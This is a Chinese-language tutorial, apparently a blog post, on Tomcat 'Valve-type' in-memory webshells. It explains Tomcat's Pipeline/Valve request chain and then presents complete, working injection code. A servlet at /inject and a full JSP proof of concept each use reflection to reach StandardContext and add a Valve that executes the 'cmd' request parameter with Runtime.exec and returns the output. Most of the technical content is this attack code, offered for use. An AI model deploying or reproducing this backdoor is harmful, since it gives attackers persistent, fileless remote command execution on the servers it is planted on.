内存马系列---Valve型
参考文章:
Valve 内存马与之前的三种内存马区别还是有点大的,之前内存马是放在 Web 请求之中的,Listener –> Filter –> Servlet 的流程,但是 Valve 内存马是在 Pipeline 之中的一个流程
Valve 是什么
在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制。
我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。
因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。
Pipeline 中会有一个最基础的 Valve,这个 Valve 也被称之为 basic,它始终位于末端(最后执行),它在业务上面的表现是封装了具体的请求处理和输出响应。
Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。这里的调用流程可以类比为Filter中的责任链机制
(我们可以在 Filter Chain 当中任意添加 Filter;那么 Valve 也就是可以在 Pipline 当中任意添加)

请求像水流一样依次经过管道(Pipeline)上的各个 Valve(阀门),最后被末端的基础 Valve 处理并返回响应。(上图的 basic 就是在前文中提到的最基础的 Valve)
例如:

这是获取 HTTP 请求的阶段,也就是这个里面,我们获取到了 Pipeline,并且能够很清楚的看到 Pipeline 里面有一个 basic;这个 basic 所属的类是 StandardEngineValve
流程:
1
Connector -> Request -> Engine(Pipeline) -> Host(Pipeline) -> Context(Pipeline) -> Wrapper(Pipeline) -> Servlet在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
流程分析
我们先来看看Pipeline接口,继承了Contained接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public interface Pipeline extends Contained { public Valve getBasic(); public void setBasic(Valve valve); public void addValve(Valve valve); public Valve[] getValves(); public void removeValve(Valve valve); public Valve getFirst(); public boolean isAsyncSupported(); public void findNonAsyncValves(Set<String> result); }Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()方法来添加一个Valve。下面我们再来看看Valve接口1
2
3
4
5
6
7
8
9
10
11
12
13public interface Valve { public Valve getNext();//获取下一个Valve public void setNext(Valve valve); public void backgroundProcess(); public void invoke(Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported(); }Valve的调用过程按照顺序调用
在 Tomcat 的设计中,
invoke()采用了责任链模式。当一个请求流经管道(Pipeline)时,Tomcat 会依次调用每个 Valve 的invoke()方法。
Valve可以通过重写
invoke()方法来实现具体的业务逻辑1
2
3
4
5
6
7
8class Shell_Valve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { ... } } }
下面我们通过源码看一看,消息在容器之间是如何传递的。
- 首先消息传递到Connector被解析后,在
org.apache.catalina.connector.CoyoteAdapter#service方法中

先走getService()获取了StandardService

接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象。
再通过StandardPipeline.getFirst()获取第一个Valve(StandardEngineValve)
然后调用这个StandardEngineValve.invoke

1
host.getPipeline().getFirst().invoke(request, response);通过这个来实现调用后续的Valve、
动态添加Valve
Valve 可以被添加进 Pipeline 的流程之后,所以这里我们尝试实现一下。
先实现基础的 Valve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15package Value; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import java.io.IOException; public class ValveTest extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { System.out.println("Valve 被成功调用"); } }我们还需要通过
addValve()方法把它添加进去,不然的话这个 Valve 肯定是白写的前面我们提到了在
Pipeline接口当中存在addValve()方法我们可以通过这个方法把 Valve 添加进去addValve()方法对应的实现类是StandardPipeline,但是我们是无法直接获取到StandardPipeline的,所以这里去找一找StandardContext有没有获取到StandardPipeline的手段。
搜索
Pipeline()刚好有getPipeline()进去看看

这里写着 return 一个 Pipeline 类型的类,它是用来管理 Valves 的
所以
standradContext.getPipeline获取StandardPipeline根据上文的分析我们能够总结出Valve型内存马的注入思路
- 获取
StandardContext对象 - 通过
StandardContext对象获取StandardPipeline - 编写恶意Valve
- 通过
StandardPipeline.addValve()动态添加Valve
- 获取
问题:
我们的 Valve 是应该放到 Filter,Listener,还是 Servlet 里面???
其实哪个都可以。因为我们的主要目的都是为了得到
StandardContext.getPipeline().addValve()这一行代码。但是,主要区别就是我们选取不同载体,获取
StandardContext的难度不同 Servlet 最简单能让你用最少的代码把 Valve 挂上去。而且我们挂载的层级不同,危害就不同(Valve 的威力,取决于你把它挂在哪个“容器”的管道(Pipeline)上。)
- Engine 级:最高层。挂在这里,这台服务器上所有的域名、所有的网站都会被拦截。
- Host 级:域名层。挂在这里,这个域名下的所有应用(比如
blog.com/app1和blog.com/app2)都会被拦截。- Context 级:应用层。挂在这里,只有当前的网站应用(比如
/app1)会被拦截。所以综上:所以我们通过 Servlet 来加载。
Valve 内存马的EXP编写
java
先定义一个
doGet()方法,因为我们是发出 GET 请求的,通过doGet()方法获取到 request 对象。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56package Value; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.StandardContext; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field; @javax.servlet.annotation.WebServlet("/inject") public class ValveShell_Servlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { // 1. 反射获取 StandardContext // 注意:RequestFacade -> Request -> StandardContext Field connectorReqField = req.getClass().getDeclaredField("request"); connectorReqField.setAccessible(true); Request connectorReq = (Request) connectorReqField.get(req); StandardContext standardContext = (StandardContext) connectorReq.getContext(); // 2. 注入 Valve standardContext.getPipeline().addValve(new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { // 执行命令 byte[] result = new byte[1024]; Process process = Runtime.getRuntime().exec(cmd); int len = process.getInputStream().read(result); // 直接回显给浏览器 response.getWriter().write(new String(result, 0, len)); return; // 匹配到命令,处理完直接返回,不走后面的逻辑了 } // 关键!!如果没有命令,必须把请求交给下一个 Valve // 否则你的网站就挂了 getNext().invoke(request, response); } }); resp.getWriter().write("Inject Success! Try ?cmd=whoami"); } catch (Exception e) { e.printStackTrace(); // 调试用,看看哪里报错 } } }到我们
ValveBase这个子类里面去,编写我们的恶意代码。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21package Value; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import java.io.IOException; class ValveShell extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { System.out.println("111"); try { Runtime.getRuntime().exec(request.getParameter("cmd")); } catch (Exception e) { } } }

jsp
获取StandardPipeline对象
1
2
3
4
5
6
7
8<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %>编写恶意Valve类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<%! class Shell_Valve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %>将恶意Valve添加进StandardPipeline
1
2
3
4<% Shell_Valve shell_valve = new Shell_Valve(); pipeline.addValve(shell_valve); %>完整POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %> <%! class Shell_Valve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { // 1. 执行命令并获取输出流 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; // 2. 将结果直接写回 response response.getWriter().write(output); response.getWriter().flush(); // 3. 匹配到命令后直接 return,不再往下走(拦截) return; } // 4. 重要!!如果没有 cmd 参数,必须交给下一个 Valve,否则网页会打不开 getNext().invoke(request, response); } } %> <% Shell_Valve shell_valve = new Shell_Valve(); pipeline.addValve(shell_valve); %>访问Valve.jsp


小结
感觉在学会 Servlet 内存马之后,看 Valve 内存马就比较简单了
总而言之,Valve 型内存马是基于 Servlet 内存马来实现的,但是在表现形式上面会稍微有一点区别,之前 Servlet 内存马,我们是写入了一个路径,但是 Valve 型内存马可以在 Servlet 被读取的过程中就直接被恶意触发。
前面我们的Valve 型内存马也添加了路径,这个路径不是因为 Valve 需要路径,而是因为你的 “运载工具”(Servlet ) 需要路径。
而且这个路径的本质意思是:
注入成功Valva内存马
http://localhost:8080/secret_shell?cmd=whoami,secret_shell无论是什么,不存在也好,都会得到whoami而Servlet得固定路径,如果你注册的是
/shell,那么只有访问/shell才会触发。访问/secret_shell时,Tomcat 在路由表里找不到对应的 Servlet,就会直接返回 404,你的马根本没机会运行。